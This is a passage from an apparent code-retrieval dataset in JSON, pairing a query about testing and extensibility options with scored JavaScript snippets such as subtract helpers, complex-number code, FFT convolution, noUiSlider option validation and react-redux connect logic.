Cr.push((math.abs(A)*Math.pow(Vp,2)*math.cos(math.atan(B.im/B.re)-math.atan(A.im/A.re)))/math.abs(B))\r\n Cr.push((math.abs(A)*Math.pow(Vp,2)*math.sin(math.atan(B.im/B.re)-math.atan(A.im/A.re)))/math.abs(B))\r\n }\r\n\r\n let Rc = math.abs(Vs)*Vp/math.abs(B);\r\n graph(Cs,Cr,Rc)\r\n\r\n\r\n let inputDiv=document.getElementById(\"visible\");\r\n let inputHead=document.getElementById(\"inputhead\");\r\n inputDiv.style.display=\"none\";\r\n inputHead.style.display=\"none\";\r\n let outputDiv=document.getElementById(\"invisible\");\r\n let outputHead=document.getElementById(\"outputhead\");\r\n let graphDiv=document.getElementById(\"graphsec\");\r\n graphDiv.style.display=\"flex\"\r\n let op = document.getElementsByClassName(\"op\");\r\n outputDiv.style.display=\"flex\"\r\n outputHead.style.display=\"flex\"\r\n Ich=chargingCurr();\r\n op[0].innerText=str;\r\n \r\n\r\n op[1].innerText=math.round(L,5);\r\n op[2].innerText=math.round(Cap,12);\r\n op[3].innerText=math.round(Xl,5);\r\n op[4].innerText=math.round(Xc,5);\r\n op[5].innerText=math.round(A,5);\r\n op[6].innerText=math.round(B,5);\r\n op[7].innerText=math.round(C,5);\r\n op[8].innerText=math.round(D,5);\r\n op[9].innerText=math.round(Vs,5);\r\n op[10].innerText=math.round(Is,5);\r\n op[11].innerText=math.round(Vr,5);\r\n op[12].innerText=math.round((Ps-Pr)/math.pow(10,6),5);\r\n op[13].innerText=math.round(eff,5);\r\n op[14].innerText=math.round(Ich,5);\r\n \r\n if(drop.value ===\"short\"){\r\n comp=compensation()\r\n \r\n if(comp){\r\n op[15].innerText=math.round(comp,5)\r\n }\r\n else{\r\n op[15].innerText=\"invalid\"\r\n }\r\n document.getElementsByClassName('h')[0].style.display=\"block\"\r\n if(comp<0)\r\n document.getElementsByClassName('h')[1].style.display=\"block\"\r\n else\r\n document.getElementsByClassName('h')[2].style.display=\"block\"\r\n }\r\n else{\r\n op[15].style.display=\"none\"\r\n document.getElementsByClassName('h')[0].style.display=\"none\"\r\n \r\n }\r\n \r\n}", "title": "" }, { "docid": "095dda0846b651edd9933858745cf606", "score": "0.55814695", "text": "function subtract2Parameters(c, d) {\n return c - d;\n}", "title": "" }, { "docid": "131af3d4b16807609ee1e929630d8ab4", "score": "0.557535", "text": "function _subtract(a, b, r, s) {\n\n\t\tfor (var i = 0; i < s; i++) {\n\n\t\t\tfor (var j = 0; j < s; j++) {\n\n\t\t\t\tr[s*i + j] = OP.subtract(a[s*i + j], b[s*i + j]);\n\n\t\t\t}\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "a62ff88e4150b8d8df0af236f718b64a", "score": "0.55146223", "text": "function subtract(num1, num2) {\n var subtractTotal = num1 - num2;\n return subtractTotal;\n}", "title": "" }, { "docid": "0b1c58f07a62a4a49756623d6d39cc48", "score": "0.55135566", "text": "function ComplexNumber(real,imaginary) {\n\tthis.real = real;\n\tthis.imaginary = imaginary;\n}", "title": "" }, { "docid": "91247d9b334d0318fcd53cf22071c134", "score": "0.55122423", "text": "function c(a,b) { return a-b; }", "title": "" }, { "docid": "9961d65606dda8f56fa2859456900bb9", "score": "0.55039847", "text": "function subtracttest(v1, v2, expected) {\n results.total++;\n var r = calculator.subtraction(v1, v2);\n if (r !== expected) {\n results.bad++;\n console.log(\"Expected \" + expected +\n \", but was \" + r);\n }\n }", "title": "" }, { "docid": "6da655c39858bd79efb4a3cd01e33a01", "score": "0.54933834", "text": "function minus(a, b) {\n if (b === undefined) return -a;\n else return a - b;\n}", "title": "" }, { "docid": "4670d3101ae46716b308a652596a6e8a", "score": "0.54848856", "text": "subMat4(a, b, dest) {\n if (!dest) {\n dest = a;\n }\n dest[0] = a[0] - b[0];\n dest[1] = a[1] - b[1];\n dest[2] = a[2] - b[2];\n dest[3] = a[3] - b[3];\n dest[4] = a[4] - b[4];\n dest[5] = a[5] - b[5];\n dest[6] = a[6] - b[6];\n dest[7] = a[7] - b[7];\n dest[8] = a[8] - b[8];\n dest[9] = a[9] - b[9];\n dest[10] = a[10] - b[10];\n dest[11] = a[11] - b[11];\n dest[12] = a[12] - b[12];\n dest[13] = a[13] - b[13];\n dest[14] = a[14] - b[14];\n dest[15] = a[15] - b[15];\n return dest;\n }", "title": "" }, { "docid": "b1e84526da636a443646c612cf080175", "score": "0.5473004", "text": "function subtract() {\n alert(x - y - z);\n}", "title": "" }, { "docid": "f8dc7600cce0bd3ef5a7a4407f010aff", "score": "0.5467046", "text": "function ComplexNumber(re, im){\n\tthis.re = re;\n\tthis.im = im;\n}", "title": "" }, { "docid": "dd03a233a52086288fb97b3d01fa26f0", "score": "0.5462467", "text": "static setSubtractQV(qv, qq) {\n//-------------\nqv[0] -= qq[0];\nqv[1] -= qq[1];\nqv[2] -= qq[2];\nqv[3] -= qq[3];\nreturn qv;\n}", "title": "" }, { "docid": "7e1539479b1a796ebfb754b33230c4df", "score": "0.5451357", "text": "static sub(m1, m2) {\n return Matrix.opFunc((x1, x2) => x1 - x2, m1, m2);\n }", "title": "" }, { "docid": "7e68cb22d24e19eb72fa905de7b94f0f", "score": "0.5427733", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "7e68cb22d24e19eb72fa905de7b94f0f", "score": "0.5427733", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "bbc4e243b77f964a0f8c8d425993f8af", "score": "0.54251623", "text": "function convolveComplex(xreal, ximag, yreal, yimag, outreal, outimag) {\n\t if (xreal.length != ximag.length || xreal.length != yreal.length || yreal.length != yimag.length || xreal.length != outreal.length || outreal.length != outimag.length) throw \"Mismatched lengths\";\n\n\t var n = xreal.length;\n\t xreal = xreal.slice();\n\t ximag = ximag.slice();\n\t yreal = yreal.slice();\n\t yimag = yimag.slice();\n\n\t transform(xreal, ximag);\n\t transform(yreal, yimag);\n\t for (var i = 0; i < n; i++) {\n\t var temp = xreal[i] * yreal[i] - ximag[i] * yimag[i];\n\t ximag[i] = ximag[i] * yreal[i] + xreal[i] * yimag[i];\n\t xreal[i] = temp;\n\t }\n\t inverseTransform(xreal, ximag);\n\t for (var i = 0; i < n; i++) {\n\t // Scaling (because this FFT implementation omits it)\n\t outreal[i] = xreal[i] / n;\n\t outimag[i] = ximag[i] / n;\n\t }\n\t}", "title": "" }, { "docid": "cb61aa3cc6d4ef250cf0d709d783b446", "score": "0.54156786", "text": "function binarySubtract(a, b) {\n return null; \n}", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "23331baa4c2fc9d7a19b331404e74210", "score": "0.541332", "text": "function duration_add_subtract__subtract (input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "02eac4fefac1b42415eb4a3df7bb12bb", "score": "0.54046667", "text": "function $rb_minus(lhs, rhs) {\n return (typeof(lhs) === 'number' && typeof(rhs) === 'number') ? lhs - rhs : lhs['$-'](rhs);\n }", "title": "" }, { "docid": "02eac4fefac1b42415eb4a3df7bb12bb", "score": "0.54046667", "text": "function $rb_minus(lhs, rhs) {\n return (typeof(lhs) === 'number' && typeof(rhs) === 'number') ? lhs - rhs : lhs['$-'](rhs);\n }", "title": "" }, { "docid": "02eac4fefac1b42415eb4a3df7bb12bb", "score": "0.54046667", "text": "function $rb_minus(lhs, rhs) {\n return (typeof(lhs) === 'number' && typeof(rhs) === 'number') ? lhs - rhs : lhs['$-'](rhs);\n }", "title": "" }, { "docid": "f5484ce55ab21f6f3d29a2c42f4b4da0", "score": "0.53957486", "text": "function COMinus(x) {\n return CO(x) - joint\n }", "title": "" }, { "docid": "1d09c293b324465d7dfaa39cb6ffe347", "score": "0.53832936", "text": "function convolveComplex(xreal, ximag, yreal, yimag, outreal, outimag) {\n if (xreal.length !== ximag.length || xreal.length !== yreal.length || yreal.length !== yimag.length || xreal.length !== outreal.length || outreal.length !== outimag.length)\n throw \"Mismatched lengths\";\n var i;\n var n = xreal.length;\n xreal = xreal.slice();\n ximag = ximag.slice();\n yreal = yreal.slice();\n yimag = yimag.slice();\n\n transform(xreal, ximag);\n transform(yreal, yimag);\n for (i = 0; i < n; i++) {\n var temp = xreal[i] * yreal[i] - ximag[i] * yimag[i];\n ximag[i] = ximag[i] * yreal[i] + xreal[i] * yimag[i];\n xreal[i] = temp;\n }\n inverseTransform(xreal, ximag);\n for (i = 0; i < n; i++) { // Scaling (because this FFT implementation omits it)\n outreal[i] = xreal[i] / n;\n outimag[i] = ximag[i] / n;\n }\n}", "title": "" }, { "docid": "4bcfd9ab48f588caa133c4e251070955", "score": "0.5370727", "text": "toComplex(re, im) {\n if (algebraicMode && im == 0)\n return re;\n else\n return Complex(re, im);\n }", "title": "" }, { "docid": "10349167f0c7bf676d4c4013f84f2068", "score": "0.5367801", "text": "function find_difference(a, b) {\n return Math.abs(a[0]*a[1]*a[2] - b[0]*b[1]*b[2]);\n}", "title": "" }, { "docid": "d6ab3fe5361825152a9c2400ef0218c4", "score": "0.5364781", "text": "substract(point) {\n let result = new Vector3();\n result.setXYZ(point.x - this.x, point.y - this.y, point.z - this.z);\n return result;\n }", "title": "" }, { "docid": "2fe92c27f7c60b2104039ffa40a0a915", "score": "0.5364558", "text": "function minus (numberOne, numberTwo) {\n return numberOne - numberTwo\n}", "title": "" }, { "docid": "91fbdb5a5d2815460af0e8f4f3f76c48", "score": "0.5356939", "text": "function duration_add_subtract__subtract(input, value) {\n\t return duration_add_subtract__addSubtract(this, input, value, -1);\n\t }", "title": "" }, { "docid": "2e82663cc0b22cb77ce14a2c7a3972cd", "score": "0.5354756", "text": "static Subtract(vec1, vec2) {\n vec1 = new Vec2(vec1);\n vec2 = new Vec2(vec2);\n return new Vec2(vec1.x - vec2.x, vec1.y - vec2.y);\n }", "title": "" }, { "docid": "0f30976e066a49567b483c8eb4d4dcc2", "score": "0.5354488", "text": "sub(rhs) {\n return new Vector(this.x - rhs.x, this.y - rhs.y);\n }", "title": "" }, { "docid": "ed49f291ca13451c0e81ab41768a2009", "score": "0.5349402", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "ed49f291ca13451c0e81ab41768a2009", "score": "0.5349402", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "ed49f291ca13451c0e81ab41768a2009", "score": "0.5349402", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "ed49f291ca13451c0e81ab41768a2009", "score": "0.5349402", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "ed49f291ca13451c0e81ab41768a2009", "score": "0.5349402", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "ed49f291ca13451c0e81ab41768a2009", "score": "0.5349402", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" }, { "docid": "ed49f291ca13451c0e81ab41768a2009", "score": "0.5349402", "text": "function duration_add_subtract__subtract (input, value) {\n return duration_add_subtract__addSubtract(this, input, value, -1);\n }", "title": "" } ]
58d70b403c17c3a3bfc44365484945c1
different options opens up some testing and extensibility scenarios
[ { "docid": "1fbf5aef2f8da23e3a0796cbcb06cf1c", "score": "0.0", "text": "function createConnect(_temp) {\n var _ref = _temp === void 0 ? {} : _temp,\n _ref$connectHOC = _ref.connectHOC,\n connectHOC = _ref$connectHOC === void 0 ? connectAdvanced : _ref$connectHOC,\n _ref$mapStateToPropsF = _ref.mapStateToPropsFactories,\n mapStateToPropsFactories = _ref$mapStateToPropsF === void 0 ? connect_mapStateToProps : _ref$mapStateToPropsF,\n _ref$mapDispatchToPro = _ref.mapDispatchToPropsFactories,\n mapDispatchToPropsFactories = _ref$mapDispatchToPro === void 0 ? connect_mapDispatchToProps : _ref$mapDispatchToPro,\n _ref$mergePropsFactor = _ref.mergePropsFactories,\n mergePropsFactories = _ref$mergePropsFactor === void 0 ? connect_mergeProps : _ref$mergePropsFactor,\n _ref$selectorFactory = _ref.selectorFactory,\n selectorFactory = _ref$selectorFactory === void 0 ? finalPropsSelectorFactory : _ref$selectorFactory;\n\n return function connect(mapStateToProps, mapDispatchToProps, mergeProps, _ref2) {\n if (_ref2 === void 0) {\n _ref2 = {};\n }\n\n var _ref3 = _ref2,\n _ref3$pure = _ref3.pure,\n pure = _ref3$pure === void 0 ? true : _ref3$pure,\n _ref3$areStatesEqual = _ref3.areStatesEqual,\n areStatesEqual = _ref3$areStatesEqual === void 0 ? strictEqual : _ref3$areStatesEqual,\n _ref3$areOwnPropsEqua = _ref3.areOwnPropsEqual,\n areOwnPropsEqual = _ref3$areOwnPropsEqua === void 0 ? shallowEqual : _ref3$areOwnPropsEqua,\n _ref3$areStatePropsEq = _ref3.areStatePropsEqual,\n areStatePropsEqual = _ref3$areStatePropsEq === void 0 ? shallowEqual : _ref3$areStatePropsEq,\n _ref3$areMergedPropsE = _ref3.areMergedPropsEqual,\n areMergedPropsEqual = _ref3$areMergedPropsE === void 0 ? shallowEqual : _ref3$areMergedPropsE,\n extraOptions = _objectWithoutPropertiesLoose(_ref3, [\"pure\", \"areStatesEqual\", \"areOwnPropsEqual\", \"areStatePropsEqual\", \"areMergedPropsEqual\"]);\n\n var initMapStateToProps = match(mapStateToProps, mapStateToPropsFactories, 'mapStateToProps');\n var initMapDispatchToProps = match(mapDispatchToProps, mapDispatchToPropsFactories, 'mapDispatchToProps');\n var initMergeProps = match(mergeProps, mergePropsFactories, 'mergeProps');\n return connectHOC(selectorFactory, _extends({\n // used in error messages\n methodName: 'connect',\n // used to compute Connect's displayName from the wrapped component's displayName.\n getDisplayName: function getDisplayName(name) {\n return \"Connect(\" + name + \")\";\n },\n // if mapStateToProps is falsy, the Connect component doesn't subscribe to store state changes\n shouldHandleStateChanges: Boolean(mapStateToProps),\n // passed through to selectorFactory\n initMapStateToProps: initMapStateToProps,\n initMapDispatchToProps: initMapDispatchToProps,\n initMergeProps: initMergeProps,\n pure: pure,\n areStatesEqual: areStatesEqual,\n areOwnPropsEqual: areOwnPropsEqual,\n areStatePropsEqual: areStatePropsEqual,\n areMergedPropsEqual: areMergedPropsEqual\n }, extraOptions));\n };\n}", "title": "" } ]
[ { "docid": "c31f178f067d5892f413755a6ea9ea3a", "score": "0.64345425", "text": "function q5_test() {\r\n // todo: write a test driver\r\n // hint: be sure to test for all 3 options\r\n}", "title": "" }, { "docid": "5e82acbb8c4b871258d4ab8bdb1881fb", "score": "0.6416309", "text": "function useOption(option) {\n if (option == 95) {\n listDevices();\n } else if (option == 96) {\n setAdapter();\n } else if (option == 97) {\n setLPORT();\n } else if (option == 98) {\n setLocalTarget();\n } else if (option == 99) {\n process.exit();\n } else if (option == 0) {\n reverseMeterpreter();\n } else if (option == 1) {\n msfHandler();\n } else if (option == 2) {\n SignAPK();\n } else if (option == 3) {\n embedAPK(); \n } else if (option == 4) {\n airodump();\n } else if (option == 5) {\n aircrack();\n } else if (option == 6) {\n anonimizer();\n } else if (option == 7) {\n fluxion();\n } else if (option == 8) {\n golismero();\n } else if (option == 9) {\n bettercap();\n } else if (option == 10) {\n crunch();\n } else if (option == 11) {\n recon();\n } else if (option == 12) {\n truffleHog();\n } else if (option == 13) {\n nikto();\n } else if (option == 14) {\n binwalk();\n } else if (option == 15) {\n exiftool();\n } else if (option == 16) {\n sqlmap();\n } else if (option == 17) {\n ssh();\n } else if (option) {\n banner();\n }\n}", "title": "" }, { "docid": "ebfc9a4d426f58d241df5effc5ed7e2a", "score": "0.60318357", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tpadding: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tariaFormat: defaultFormatter,\n\t\t\tformat: defaultFormatter\n\t\t};\n\n\t\t// Tests are executed in the order they are presented here.\n\t\tvar tests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'padding': { r: false, t: testPadding },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'ariaFormat': { r: false, t: testAriaFormat },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: true, t: testCssPrefix },\n\t\t\t'cssClasses': { r: true, t: testCssClasses }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thandleLower: 'handle-lower',\n\t\t\t\thandleUpper: 'handle-upper',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tconnects: 'connects',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t}\n\t\t};\n\n\t\t// AriaFormat defaults to regular format, if any.\n\t\tif ( options.format && !options.ariaFormat ) {\n\t\t\toptions.ariaFormat = options.format;\n\t\t}\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( !isSet(options[name]) && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider (\" + VERSION + \"): '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, !isSet(options[name]) ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\t// All recent browsers accept unprefixed transform.\n\t\t// We need -ms- for IE9 and -webkit- for older Android;\n\t\t// Assume use of -webkit- if unprefixed and -ms- are not supported.\n\t\t// https://caniuse.com/#feat=transforms2d\n\t\tvar d = document.createElement(\"div\");\n\t\tvar msPrefix = d.style.msTransform !== undefined;\n\t\tvar noPrefix = d.style.transform !== undefined;\n\n\t\tparsed.transformRule = noPrefix ? 'transform' : (msPrefix ? 'msTransform' : 'webkitTransform');\n\n\t\t// Pips don't move, so we can place them using left/top.\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "ebfc9a4d426f58d241df5effc5ed7e2a", "score": "0.60318357", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tpadding: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tariaFormat: defaultFormatter,\n\t\t\tformat: defaultFormatter\n\t\t};\n\n\t\t// Tests are executed in the order they are presented here.\n\t\tvar tests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'padding': { r: false, t: testPadding },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'ariaFormat': { r: false, t: testAriaFormat },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: true, t: testCssPrefix },\n\t\t\t'cssClasses': { r: true, t: testCssClasses }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thandleLower: 'handle-lower',\n\t\t\t\thandleUpper: 'handle-upper',\n\t\t\t\thorizontal: 'horizontal',\n\t\t\t\tvertical: 'vertical',\n\t\t\t\tbackground: 'background',\n\t\t\t\tconnect: 'connect',\n\t\t\t\tconnects: 'connects',\n\t\t\t\tltr: 'ltr',\n\t\t\t\trtl: 'rtl',\n\t\t\t\tdraggable: 'draggable',\n\t\t\t\tdrag: 'state-drag',\n\t\t\t\ttap: 'state-tap',\n\t\t\t\tactive: 'active',\n\t\t\t\ttooltip: 'tooltip',\n\t\t\t\tpips: 'pips',\n\t\t\t\tpipsHorizontal: 'pips-horizontal',\n\t\t\t\tpipsVertical: 'pips-vertical',\n\t\t\t\tmarker: 'marker',\n\t\t\t\tmarkerHorizontal: 'marker-horizontal',\n\t\t\t\tmarkerVertical: 'marker-vertical',\n\t\t\t\tmarkerNormal: 'marker-normal',\n\t\t\t\tmarkerLarge: 'marker-large',\n\t\t\t\tmarkerSub: 'marker-sub',\n\t\t\t\tvalue: 'value',\n\t\t\t\tvalueHorizontal: 'value-horizontal',\n\t\t\t\tvalueVertical: 'value-vertical',\n\t\t\t\tvalueNormal: 'value-normal',\n\t\t\t\tvalueLarge: 'value-large',\n\t\t\t\tvalueSub: 'value-sub'\n\t\t\t}\n\t\t};\n\n\t\t// AriaFormat defaults to regular format, if any.\n\t\tif ( options.format && !options.ariaFormat ) {\n\t\t\toptions.ariaFormat = options.format;\n\t\t}\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\tObject.keys(tests).forEach(function( name ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( !isSet(options[name]) && defaults[name] === undefined ) {\n\n\t\t\t\tif ( tests[name].r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider (\" + VERSION + \"): '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttests[name].t( parsed, !isSet(options[name]) ? defaults[name] : options[name] );\n\t\t});\n\n\t\t// Forward pips options\n\t\tparsed.pips = options.pips;\n\n\t\t// All recent browsers accept unprefixed transform.\n\t\t// We need -ms- for IE9 and -webkit- for older Android;\n\t\t// Assume use of -webkit- if unprefixed and -ms- are not supported.\n\t\t// https://caniuse.com/#feat=transforms2d\n\t\tvar d = document.createElement(\"div\");\n\t\tvar msPrefix = d.style.msTransform !== undefined;\n\t\tvar noPrefix = d.style.transform !== undefined;\n\n\t\tparsed.transformRule = noPrefix ? 'transform' : (msPrefix ? 'msTransform' : 'webkitTransform');\n\n\t\t// Pips don't move, so we can place them using left/top.\n\t\tvar styles = [['left', 'top'], ['right', 'bottom']];\n\n\t\tparsed.style = styles[parsed.dir][parsed.ort];\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "726a070c6aab26d64c6b7099e129a5c1", "score": "0.5954973", "text": "function testOptions ( options ) {\n\n\t\t// To prove a fix for #537, freeze options here.\n\t\t// If the object is modified, an error will be thrown.\n\t\t// Object.freeze(options);\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tpadding: 0,\n\t\t\tanimate: true,\n\t\t\tanimationDuration: 300,\n\t\t\tariaFormat: defaultFormatter,\n\t\t\tformat: defaultFormatter\n\t\t};\n\n\t\t// Tests are executed in the order they are presented here.\n\t\tvar tests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'animationDuration': { r: false, t: testAnimationDuration },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'padding': { r: false, t: testPadding },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'multitouch': { r: true, t: testMultitouch },\n\t\t\t'ariaFormat': { r: false, t: testAriaFormat },\n\t\t\t'format': { r: false, t: testFormat },\n\t\t\t'tooltips': { r: false, t: testTooltips },\n\t\t\t'cssPrefix': { r: false, t: testCssPrefix },\n\t\t\t'cssClasses': { r: false, t: testCssClasses },\n\t\t\t'useRequestAnimationFrame': { r: false, t: testUseRaf }\n\t\t};\n\n\t\tvar defaults = {\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'multitouch': false,\n\t\t\t'orientation': 'horizontal',\n\t\t\t'cssPrefix' : 'noUi-',\n\t\t\t'cssClasses': {\n\t\t\t\ttarget: 'target',\n\t\t\t\tbase: 'base',\n\t\t\t\torigin: 'origin',\n\t\t\t\thandle: 'handle',\n\t\t\t\thandleLower: 